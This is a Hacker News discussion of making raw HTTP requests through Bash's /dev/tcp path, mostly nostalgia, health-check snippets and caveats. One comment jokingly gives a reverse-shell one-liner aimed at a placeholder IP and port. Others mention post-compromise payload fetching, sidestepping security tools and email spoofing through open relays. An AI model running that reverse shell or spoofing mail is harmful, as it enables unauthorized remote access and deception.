TIL: You can make HTTP requests without curl using Bash /dev/TCP (mareksuppa.com)

512 points by mrshu a day ago

xenadu02 a day ago

As a kid in the late 90s my mind was blown when I realized I could telnet to port 80, 25, or 110 and interact with the servers manually.

Simple get: GET / HTTP/1.1 Content-Type: text/html User-Agent: l33t hax0rs lol X-Funny-Monkey: farts

For sending a mail message on port 25: HELO mail-from: whoever@whatever.com mail-to: sysadmin@yaya.com <other headers> <blank line> Body of the message yay. <two blank lines to end>

POP3 was so long ago I forgot but you could list the mailboxes then get individual messages and so on.

This revelation was the beginning of "there is no magic" for me. The realization that every part of the computer was built by human beings and was at some level understandable if one undertook the effort.

Perhaps most people in the future won't bother. They'll just let agents do it all. I'm sure that will leave some interesting holes in various systems for people willing to actually learn how they work without the filter of a model (or its safety rails).

wing-_-nuts 44 minutes ago

I was in the hospital at 13, 7 hours from home, and lonely. They had a councilor there who took pity on me and agreed to let me use her computer to check my email. Only provision was that I couldn't install anything, and couldn't change any settings.

She stood behind me and watched bemused as I fired up telnet, connected to my ISP's pop server and started reading emails from friends. I think I did manage to send some emails back via SMTP but I was not as good with that protocol.

If you could bottle the creativity and enthusiasm of a bored teen, I'm pretty sure you could take over the world

charles_f 17 hours ago

I sent many an email from jacques.chirac@elysee.fr, the veneer of the terminal helping, my friends were quite impressed by how good a hacker I was. Good olde days when many DKIM/SPF weren't a thing yet and SMTP servers weren't even authenticated.

krzyk 2 hours ago

It was quite fun.

But at my first work (begining of 2000s) there was one person that made a fun email, using From of head of company (or was it head of that particular division) to his coworker with congratulations for pay increase and promotion. It would be all great, but that coworker didn't catch the joke and replied to it (person in the From wasn't amused). Author of the joke was fired (which is not easy thing to do in Europe), some people don't catch jokes.

dhosek an hour ago

When I was working at the computing center at University of Illinois at Chicago in the 80s, we found a fairly simple route to spoofing emails from other users through batch jobs on the MVS side of our mainframe. It came crashing to a halt when someone sent a spoofed email from the director to one of the other employees saying that they were fired and to bring their keys to her office immediately. I think the person responsible nearly lost his job over that, but as I recall, the ability to do this was never closed.

cferry 8 hours ago

"Cher compatriote, voici, rédigé avec mes clavier et mulot, mon programme de l'an 2000 que j'ai après la dissolution..."

rahimnathwani 18 hours ago

Back in those days not only was there was no DKIM or SPF, most SMTP servers would accept email from anyone anywhere to anyone anywhere (i.e. 'open relay').

xp84 18 hours ago

[ Note: Anyone who has been a geek since the 90s, there's nothing you don't already know here ]

> most SMTP servers would accept email from anyone anywhere to anyone anywhere (i.e. 'open relay').

to date that claim, I'd say that by the late 90s at least, true open relays ("from anyone to anyone") were still numerous but carried a huge assumption of being part of spam operations (willingly or through ineptitude), and the most basic spam filtering would reject mail that came out of one.

That said, (before things like SPF) it was easy enough to deliver email to anyone you wanted even if you didn't have your own real email account and SMTP server; you could just look up the destination's MX and connect to it with telnet like that. Since your own random IP probably wasn't blocklisted it would generally be accepted and delivered.

Back then it was still basically considered bad form to reject email simply because the server didn't know where it was from... sadly, if we were still playing by those rules today, I can only imagine how useless email would be. Now it's definitely guilty-till-proven-innocent.

awesome_dude 10 hours ago

the_arun 15 hours ago

With agents in the house now, we don't use curl at all. Slowly they all are becoming implementation details.

VladVladikoff 14 hours ago

eqmvii 19 hours ago

Yep! It’s all just text files. Lots of acronyms in top of lots of ways to generate, send, and read structured text files.

One day I realized even databases were just text files and I had to sit down.

inigyou 5 hours ago

There are also many binary files. Most databases are binary files which are wide trees of some kind (e.g. B-trees, B+trees)

kps a day ago

Last century I would read and send personal email from work using telnet to pop3 and smtp respectively.

Joeboy 8 hours ago

I also have a tendency to say "Last century", thinking it comedically suggests "a long time ago" without it actually being that long ago. But as time goes by it obviously becomes legitimately a long time ago, and I suspect young people wouldn't see the attempted irony at all.

benj111 6 hours ago

vbezhenar 18 hours ago

You can actually do that today. In fact I did that for some time, because I didn't want to configure e-mail client. The only hard thing is HTML. Average HTML e-mail is almost impossible to read and friction to extract it to a file to open in a browser is too much.

bijowo1676 20 hours ago

perhaps you meant "in previous millennium" ?

wing-_-nuts 42 minutes ago

__float 19 hours ago

chrisbrandow 19 hours ago

vbezhenar 18 hours ago

You can't do that with HTTP/2 (but thankfully every server still talks HTTP/1).

You also can't do that with TLS (and a lot of servers won't talk HTTP other than redirects). openssl s_client instead of telnet might allow you to tunnel text inside TLS, but that feels like a cheating.

And many other modern protocols, sadly, prefer binary encoding, which makes it impossible to tinker with it on wire level, not without specialized tools anyway.

I think people in the future will bother. I tried to make a fire with sticks once, I tried to burn a clay brick, these old things can be a lot of fun and sometimes of real use. If anything, AI actually makes tinkering a lot more easier. You don't need to dig into RFC to check your mail, you can just talk to LLM about it and it'll help you with most typical IMAP commands, for example.

inigyou 5 hours ago

openssl s_client -host google.com -port 443

You're welcome. Works like netcat plus TLS. Kind of inconvenient though. Hey someone should write tlsnc.

linzhangrun 10 hours ago

Nothing to regret. Text Protocol is too inefficient.

account42 7 hours ago

TylerE 3 hours ago

Also memories of making printing work on Linux in the late 90s to some old beast of an HP Laserjet. CUPS exited but was a pain to configure, so I’d just convert whatever I wanted to print to postscript, then

    Cat homework.ps > /dev/lp0

nico 13 hours ago

It was also cool discovering the ATA commands to drive the modem. You could “war-dial” numbers, or manually initiate Internet connection, or connecting to a bbs

ExoticPearTree 7 hours ago

HELO is for SMTP, EHLO for ESMTP. You could access some “advanced” features of the server if you told it you speak ESMTP.

razodactyl 19 hours ago

Me too! Writing Winsock and learning WinAPI on XP then Vista. It took me a while to realise Linux was better / OSX was my gateway drug haha

jazz9k 21 hours ago

When I was 12, I learned about open SMTP relays and how to spoof email this way. I once spoofed an email between two rivals on a community I was a part of and started a flame war.

Good times.

Denatonium 18 hours ago

When I was in high school in the mid 2010s, Verizon's email-to-SMS gateway didn't verify SPF/DKIM/DMARC, and I had a field day showing my classmates the Viagra ads that Hillary Clinton's "hacked" email server was sending me. In reality, it was an open relay, but Verizon didn't care; they always delivered it anyway.

sejje 21 hours ago

I once made an enemy on AOL and he was a spammer--he put my email in the from: field and I got a lot of hostile emails.

But the joke's on him--it led directly to me meeting a lifelong friend & mentor.

globular-toast 12 hours ago

I never figured out you could do it with HTTP, but for some reason I did for FTP and IRC. I don't know why I first tried using a telnet client but I couldn't believe it when the server responded to me!

MuffinFlavored 19 hours ago

I must have tried to write the same "perfect" IRC client from scratch in C a dozen times growing up...

lacunary 14 hours ago

any cool features you can share?

alex_smart 10 hours ago

Isn't that the whole point of TCP? Creating a pair of two streams you can read out of and write to out of less reliable network primitives?

I am not sure why this is a revelation. Any college level networking course would cover this?!

reaktivo 10 hours ago

> Any college level networking course would cover this?!

As an actual kid it's easy for it to be a revelation, no? At least it was for me, with no college level networking course experience.

alex_smart 10 hours ago

CGamesPlay 14 hours ago

> Perhaps most people in the future won't bother. They'll just let agents do it all.

But can you imagine the look on some young teen’s face when they train their own GPT on their local computer for the first time?

Coelacanthus 6 hours ago

> This is a bash feature, not POSIX. dash (Debian’s /bin/sh) and zsh don’t have it, so a #!/bin/sh script can’t use it. Call bash directly.

Zsh has its own zsh/net/tcp and zsh/zftp modules.

https://zsh.sourceforge.io/Doc/Release/TCP-Function-System.h...

https://zsh.sourceforge.io/Doc/Release/Zsh-Modules.html#The-...

https://zsh.sourceforge.io/Doc/Release/Zftp-Function-System....

gatestone 11 hours ago

In Plan 9 you did have a real (synthetic) /net, and could do that and more from any program. You could even mount /net from another machine via 9P protocol and have an instant VPN...

9front lets you play with that on Linux.

Some Plan 9 like /net things are visible in Go libraries... (Rob Pike legacy)

equinoxnemesis 4 hours ago

> You could even mount /net from another machine via 9P protocol and have an instant VPN...

This is awesome.

simonw a day ago

Neat, works against example.com

  exec 3<>/dev/tcp/example.com/80
  printf 'GET / HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n' >&3
  cat <&3
Outputs:

  HTTP/1.1 200 OK
  Date: Tue, 16 Jun 2026 17:37:45 GMT
  Content-Type: text/html
  ...
I always end up on example.com for this kind of thing because there are so few domains these days that don't enforce https!

QuantumNomad_ a day ago

example.com is also great for that reason when something fails about a captive portal on a public WiFi.

I open my web browser and go to http://example.com and get redirected to the captive portal page again and retry completing what they need from me to get internet access.

some_random a day ago

Fun fact, this is almost exactly how active portal detection is done in the OS/browser!

https://gist.github.com/skull-squadron/edb8c0122f902013304c0...

QuantumNomad_ a day ago

xp84 17 hours ago

I have been using neverssl.com for this same purpose :)

My only concern would be that example.com doesn't promise to never do the 'required SSL' thing.

LeoPanthera a day ago

I use neverssl.com for this purpose because it is designed to resist caching.

gabrielsroka a day ago

This works too

  exec 3<>/dev/tcp/example.com/80
  printf 'GET / HTTP/1.1\r
  Host: example.com\r
  Connection: close\r
  \r
  ' >&3
  cat <&3
You can even take out the \r though they should be there

basilikum a day ago

> As it turns out, bash can speak HTTP by itself.

No, it can not. Bash lets you open TCP sockets.

What you are doing here is trying to speak HTTP yourself, which is fine for testing and debugging, and hella cool for fun to do by hand, but you will shoot yourself in the foot if you try to use this pseudo http client unattended in reality. This toy code does not parse HTTP properly and will break.

You could of course write a full http/1.1 client in bash, you can even do a full http server in pure bash: https://github.com/bahamas10/bash-web-server

For less insane, non-bash shells there is always nc which is usually probably the wiser choice.

iam-TJ 21 hours ago

Need to be clear that "full http server in pure bash" is incorrect. Bash cannot listen on a TCP/UDP socket for incoming connections.

bash-web-server project builds a C language socket listener [0] that is dynamically loaded at run-time as a "built-in" module that makes the functionality available.

[0] https://github.com/bahamas10/bash-web-server/tree/main/loada...

mrspuratic 6 hours ago

This feature has been part of bash since 5.1 (ca 2020), though it may not be enabled in all distros.

  cd src/bash-5.3/examples/loadables
  make accept
  enable -f ./accept accept
  (accept -r RHOST -v SOCKETFD -b 127.0.0.1 8000; 
    read -u $SOCKETFD SOCKETDATA; 
    printf "%s: %s\n" "$RHOST" "$SOCKETDATA";
    printf "goodbye, world\n" 1>&${SOCKETFD} ) &
  nc 127.0.0.1 8000 <<< "hello, world"
For real use you may need to add "exec {SOCKETFD}<&-" to close the FD.

Edit: https://news.ycombinator.com/item?id=39369749 (2024)

majorchord 17 hours ago

By this logic, Linux does not support Wi-Fi, because all the driver modules are "dynamically loaded at run-time."

account42 7 hours ago

zwischenzug 14 hours ago

Brian_K_White 12 hours ago

mrshu a day ago

> No, it can not. Bash lets you open TCP sockets.

Very fair pushback -- I did get carried away and will update the article to be more precise. Thanks for raising it!

> For less insane, non-bash shells there is always nc which is usually probably the wiser choice.

For completeness, `nc` or any netcat equvialent I could think of was not available in the image I was trying this with. It would certainly be a better option though.

bearjaws a day ago

This is the most Claude pilled comment I've seen here.

thih9 a day ago

mrshu a day ago

tbossanova 7 hours ago

nialv7 a day ago

scubbo 21 hours ago

FWIW, I didn't read this as AI-like. Even on a re-read, it's only the quasi-em-dash, and _maybe_ the polite acknowledgement of "Very fair pushback" (just good etiquette, IMO!) that would ring any alarm bells. You're fine.

farmerbb 17 hours ago

a-dub a day ago

it's not that insane. i've been manually typing http requests in since before http/1.1 and the mandatory host header.

it is insane to use it for anything serious (also the opposite, implementing webservers in bash), but for quick testing it's pretty great!

rascul 4 hours ago

I just want to note that HTTP only existed 5 years without curl or wget.

bitmasher9 a day ago

Why wouldn’t you use curl for the quick test?

hnav a day ago

a-dub a day ago

asmnzxklopqw 21 hours ago

sgjohnson 14 hours ago

Someone did a Minecraft server in pure bash.

https://sdomi.pl/weblog/15-witchcraft-minecraft-server-in-ba...

hnlmorg 11 hours ago

It’s impressive but it’s not “pure bash”. Even just in the first section, the author talks about using hexdump and dd.

Though I did also notice they didn’t claim it was pure bash themselves. That’s a flare you added.

tombert 20 hours ago

There's even a Rails-like framework for Bash: https://github.com/jneen/balls

TZubiri a day ago

>No, you can't write 10 lines of code, you have to import a 100k LOC dependency

Common misconception, if you want to replace a dependency on a swiss knife you don't need to implement a swiss knife, sometimes you can just implement the last helix of the corkscrew.

cyanydeez a day ago

it's curious what you'd be building where you think you can hit the reliability of curl with a bash script.

pillmillipedes a day ago

TZubiri 21 hours ago

andelink a day ago

Nice parameter expansion examples in that bash-web-server. It uses the $_ parameter in ways I hadn’t thought to before, often preceded by a single : ${x} line for pre-processing of the variable.

morpheuskafka a day ago

> No, it can not. Bash lets you open TCP sockets.

I thought you had to use a program called netcat for that--if not then what is the point of that binary? And for that matter, can't you also use telnet to manually send HTTP?

some_random a day ago

nc is basically just a nicer interface for the same thing, in the same way that curl is.

https://linux.die.net/man/1/nc

mrshu a day ago

I ran into this while checking connectivity between containers on an internal Docker network where the image had neither curl nor wget.

The main surprise was that Bash has /dev/tcp which lets you do the equivalent of an HTTP request with a bit of shell magic, for instance:

  exec 3<>/dev/tcp/service/8642
  printf 'GET /health HTTP/1.1\r\nHost: service\r\nConnection: close\r\n\r\n' >&3
  cat <&3

Where `service` is just the hostname of whatever you’re talking to and 8642 is the port you are trying to talk HTTP to.

Pretty cool!

sevenzero a day ago

It seems pretty cool, but I am wondering if there's any drawback on just using images that support curl? I can't think of any and to me it's kinda a must have, even on production images

OptionOfT a day ago

I always recommend to not have any dependencies outside of the code.

So we start at compiling the codebase (Rust) against MUSL. That way we can run it with FROM scratch images.

If we need more tooling available at runtime, then we look at alpine, but still using MUSL.

If MUSL itself is proving problematic, or if some of the libraries we use need glibc then we can look at using some locked down image.

The cool part about FROM scratch images is that you'll never have to update your base image to address CVEs. Only your software and its (compiled) dependencies.

xmodem a day ago

xp84 17 hours ago

mrshu a day ago

That is indeed a solid pushback! :)

For what its worth, this container used `python:3.12.2-slim-bookworm` and I really would not expect that sort of an image to bundle `curl` -- even if it is intended for production.

TZubiri a day ago

sevenzero a day ago

xmodem a day ago

More than one ~500 employee company I've worked at has had security policies either encouraging or requiring the use of "distro-less" images - images with no OS components other than the absolute minimum required to run the application. For go binaries this meant literally nothing in the container apart from the executable.

In theory it has a couple of benefits. You don't have to re-deploy your image to patch CVE's in OS components if you don't have any OS components. And it provides some measure of defence-in-depth - one could certainly theory-craft a scenario where an attacker gains some limited control over your application and then uses some OS component to escalate.

These days if a security engineer is proposing my team adopt distro-less containers to receive these benefits, I would point out that we need to weigh them against the very real drawbacks of not having standard debugging tools available where and when we need them. And also to consider the relative impact of other defence-in-depth measures they could be pursuing instead - such as any sort of network policy to limit network traffic.

NewJazz 21 hours ago

fc417fc802 17 hours ago

figmert a day ago

This of course only supports http, not https. It's great for health checks e.g. in a docker environment. To do https, you'd have to use something like socat, but of course that doesn't use bash only.

TZubiri a day ago

a012 16 hours ago

It’s handy when you’re troubleshooting issue on a running container which you can’t just rebuild the image and reload

monkpit 21 hours ago

You might not have any say on what image is in use, for example, in a cicd library project.

giobox a day ago

It's also a two line Dockerfile to add wget or curl to almost any pre-existing container image. This is a fun idea though.

stevefan1999 3 hours ago

Yep. I also learned that too when watching Bauhinia team members' using this to solve a CTF challenge :p It is a multi-series CTF that you get shell from first a ROP chain to system, but you are effectively jailed from running anything but bash, so the only thing you can use is read and cat, and they used the cat /dev/tcp, then redirected it to a pseudo-tty, and read the content of the pseudo-tty in order to get the URL to the inner system. The flag, there it is.

dredmorbius 14 hours ago

Note that this didn't work historically on Debian, and presumably Debian-derived distros, where the virtual file TCP access was disabled by default. The position was reversed (and the capability enabled) in 2009, AFAIU. There's discussion and links in Bug #146464:

<https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=146464#37>

As others have mentioned, there are numerous other ways to directly access network features using shell tools, including curl (noted in TFA's title), wget, the HEAD and GET commands (from Perl), netcat (nc), socat, telnet, and I'm quite sure others.

ang_cire an hour ago

All my homies use

bash -i >& /dev/tcp/IP/PORT 0>&1

to talk to their friends(' computers).

sam_lowry_ a day ago

A few years ago I had to do this for a SpringBoot health check from a Docker container:

FROM openjdk:11-jre-slim HEALTHCHECK --start-period=10s --timeout=3s --retries=5 \ CMD perl -e "use IO::Socket; $sock = IO::Socket::INET->new(Proto => 'tcp', PeerAddr => 'localhost', PeerPort => '8888') or die $@; $sock->autoflush(1); print $sock 'GET /actuator/health HTTP/1.1' . chr(0x0a) . chr(0x0d) . 'Host: localhost:8888' . chr(0x0a) . chr(0x0d) . 'Connection: close' . chr(0x0a) . chr(0x0d) . chr(0x0a) . chr(0x0d); while (my $line = $sock->getline ) { if ($line =~ /UP/) {exit;} }; close $sock; exit 1;"

hn92726819 a day ago

Note that this is not what the article is about. Bash has a fake /dev/tcp path that opens sockets. What you have there is just perl opening a socket normally. Great solution, but the interesting bit is that fake path.

drzaiusx11 4 hours ago

Reminds me of my teenage years when I'd echo spooky messages to other folks /dev/pttys to freak them out (messages i sent just magically appeared in their open terminals)

Why they didn't lock those down by using different creds per client in the computer lab I still don't know. Maybe it was a VAX limitation (at the time)?

1vuio0pswjnm7 4 hours ago

"This is not a real HTTP client."

It's a TCP client

curl is an HTTP client

I prefer TCP clients to HTTP clients. Simpler, easier to modify, faster to compile

There are many to choose from. For example, I use a modified version of tcploop

For generating HTTP, I use own utilties. This is more flexible than curl. There are some things curl cannot do, even though it has too many options

yread 10 hours ago

Oh man this would have saved me quite some time trying to include curl in my initramfs image with busybox that fires off a request to notify me to login via dropbear to put in the LUKS key. In the end the copy_exec script worked well though and i do have https

mlhpdx 18 hours ago

For the next level unlock try to make a HTTP/3 request over /dev/udp.

tzot 20 hours ago

I would use HTTP/1.0 without a need for Connection: close. Unless 1.0 is not generally supported anymore, but this is not the case in my experience.

timwis 21 hours ago

You could also use nsenter if curl is installed on the host, eg

docker inspect -f '{{.State.Pid}}' container-name

# let's imagine that outputs 814538

nsenter -t 814538 -n curl example.com

JSR_FDED 13 hours ago

For a light-weight aliveness check or something like that this is perfectly fine approach.

Just like parsing HTML with regexes can be fine too - for instance if you know the sender.

Just like repeating code can be fine too, even though it violates DRY.

Mixing markup and code can be fine (call it Locality of Behavior).

But separating markup and code is fine too (Separation of Concerns).

goto’s can be a lifesaver for deeply nested error conditions in C.

The point is all these “you shouldn’t do this” comments are just generalities. Use your judgement, decide if the tradeoffs are right and make a deliberate choice.

AndrewStephens a day ago

This is pretty neat if all you need is to ping a local server but please use curl (or something equivalent) for contacting remote services. HTTP1.1 seems like such a simple protocol but in the real world you need to deal with proxies, different encodings, and redirects. Curl takes care of that (and a host of other annoying stuff) for you.

mrshu a day ago

Totally!

I was really just trying to see if intra-container connectivity works, and this ended up being a very quick way of doing so. (The alternative being building and deploying a new image, which would likely take significantly longer.)

KomoD a day ago

> The alternative being building and deploying a new image, which would likely take significantly longer

You said the image was Python, though? Using that is way easier and faster. https://news.ycombinator.com/item?id=48558763

If all you need to know is that it can connect:

python3 -c 'import socket as s;s.create_connection(("8.8.8.8",53))'

or http:

python3 -c 'from urllib.request import*;print(urlopen("http://example.com").status)'

mrshu a day ago

pgtan 21 hours ago

orthogonal_cube a day ago

It was fun exploring this to make a native-shell-only peer-to-peer file transfer utility at work for some automation scripts. At least, it was until trying to replicate it in Powershell was somehow triggering Crowdstrike and the corporate Cybersecurity team thought I was writing malware.

pickle-wizard 20 hours ago

At a past job the security team wouldn't let us have netcat or curl on our systems. So I just used /dev/TCP to get around that. The ergonomics were not as nice as using netcat or curl, but it got the job done.

MisterTea 19 hours ago

TIL: bash and other shells try to copy Plan 9's /net directory and the kernel ip(3) file server. Too bad it's not a real file system. And a missed opportunity to call the root of the path /net.

HeadlessChild 13 hours ago

It is nice for a basic port knocking as well.

   timeout 5s bash -c "echo >/dev/tcp/google.com/443" && echo "port open" || echo "port closed"
This uses the timeout command from coreutils though, so it is not a pure bash implementation.

saidinesh5 a day ago

Fun story: A few years ago, I worked for a small company that customized off the shelf routers to enable businesses provide Wifi Hotspots.

The routers were very basic model with very limited flash memory (~4MB?). I was brought in to build firmware for those routers. I ended up customising openwrt - removed all kinds of packages to make their packages fit on those routers. At the end, I had less than 4KB space, And I needed to implement a "heart beat" service. A lot of routers were behind firewalls that only allowed http, https and a couple of other protocols. Libcurl was too heavy. So I ended up writing a shell script that used this feature of bash to send out heart beats.

Fun times...

dchest a day ago

It's interesting that most of the comments here are about using this feature to bypass security restrictions (whether valid or not). It says a lot about the attack surface of GNU utilities caused by featuritis.

ExoticPearTree 7 hours ago

The 90s are calling. Its a bit funny when 30 years or so later people rediscover linux functionalities.

dennis16384 20 hours ago

This is the kind of content we all deserved in 2026, and this is still why I ask during interviews to explain how cookies are represented in HTTP protocol.

smoothgrammer 13 hours ago

There is a whole talk on how to use it even for interactive sessions.

https://youtu.be/hBcfrQ8y5Qg?is=Osjnhjrx7WgsHqVj

okrad 13 hours ago

Remove ? and on from your url

washbasin a day ago

This is an old post-compromise trick used when an attacker needs to download a payload or make a network connection and curl, wget and nc are all not available.

Sohcahtoa82 20 hours ago

This was something I learned about 10 years ago when earning my OSCP, useful during penetration tests and CTFs when you get a low-priv shell that's running a minimal OS (No curl, nc, python, etc.) but running a web server listening on localhost.

Using /dev/tcp was also handy in getting that initial low-priv shell.

chaps 21 hours ago

Once had a coworker tell me to never to use this because "you never know when the customer doesn't have bash installed; use python instead" even though our contract required that the customer had bash. I'm still laughing at that.

quotemstr 20 hours ago

FWIW, some distributions (I forget which ones, but I've seen it more than once) compile bash without the network features. Python is ubiquitous, and I've never seen it subsetted this way, so I'd have sided with the coworker.

chaps 19 hours ago

Eh, looking around, I think you're thinking of Debian. They re-enabled it by-default back in 2009. So, sure, I guess. But if you're dealing with an OS that's from 2009 these days, whether /dev/tcp is enabled in bash or not isn't exactly relevant anymore. And I've seen enough broken python installs (even with stdlib) to put my faith in /dev/tcp working in bash :)

geoctl a day ago

I discovered this bash trick by chance when I was once trying to healthCheck the Envoy's official OCI image container which didn't include curl or wget while forcing the envoy admin interface to listen on localhost which breaks the traditional k8s httpGet checks.

Retr0id a day ago

It's a fun trick, but I really don't like that bash does this. It's such an un-clean interface, and I'm not aware of any use cases beyond trying to exfiltrate data from a badly locked-down shell.

alienbaby a day ago

Reminds me of telnetting to port 80 to make a get request years and years ago

tim-tday 17 hours ago

I love that under Linux your tcp stack is a file.

p-e-w 17 hours ago

It isn’t. This is a Bash feature. It doesn’t work from other programs.

nesarkvechnep 21 hours ago

I find /dev/udp much more useful. I can create aliases for fire and forget commands to my daemons without actually writing *ctl program.

ygouzerh 9 hours ago

How are you doing that? I am intrigued!

high_byte 10 hours ago

interesting attack vector

shame it's not a real device so the surface is limited to bash only

I wonder what software might be vulnerable to this attack surface

devsda a day ago

Yes, it used to be my goto few times when some devices tried to lockdown everything with bare minimum core utils and no network capable tools like curl etc.

nedt 20 hours ago

I actually have a couple of Dockerfiles that are using exactly this in the HEALTHCHECK. Less packages to install.

varbhat 7 hours ago

Thanks! I dislike this

sc68cal a day ago

That's pretty neat, thanks for sharing

andrewshadura 9 hours ago

You don't need Connection: close if you use HTTP/1.0.

m3047 a day ago

At least on my systems there's also /dev/udp...

laserbeam 13 hours ago

> This is a bash feature, not POSIX. dash (Debian’s /bin/sh) and zsh don’t have it, so a #!/bin/sh script can’t use it. Call bash directly.

This is why we can’t have nice things. This feature is complex and obscure enough that you are unlikely to be able to use it manually without consulting a reference, and poorly supported that any script you write with it is unportable.

Bash is so powerful and so frustrating for this reason all the time :(

ddlsmurf 17 hours ago

why bother with /dev, all you need is a battery, a couple of needles and some length of ethernet cable

charles_f 17 hours ago

drop the battery and use either PoE or just AC

Steeeve a day ago

brb. recompiling bash in all my base images.

alienbaby a day ago

Reminds me of using telnet to port 80 to make get requests aeons ago

johnea 18 hours ago

This is a cool trick.

I discovered it for myself some years ago, when I wanted to make simple network test scripts run without depending on curl or telnet, or other executables outside of bash.

sbseitz 11 hours ago

Welcome to the year 2000.

black_knight 20 hours ago

Wait until they hear about Plan 9!

uberex 19 hours ago

telnet then?

WesolyKubeczek 7 hours ago

Then TLS, HTTP/2, and HTTP/3 enter the chat, and now you can’t just send a request.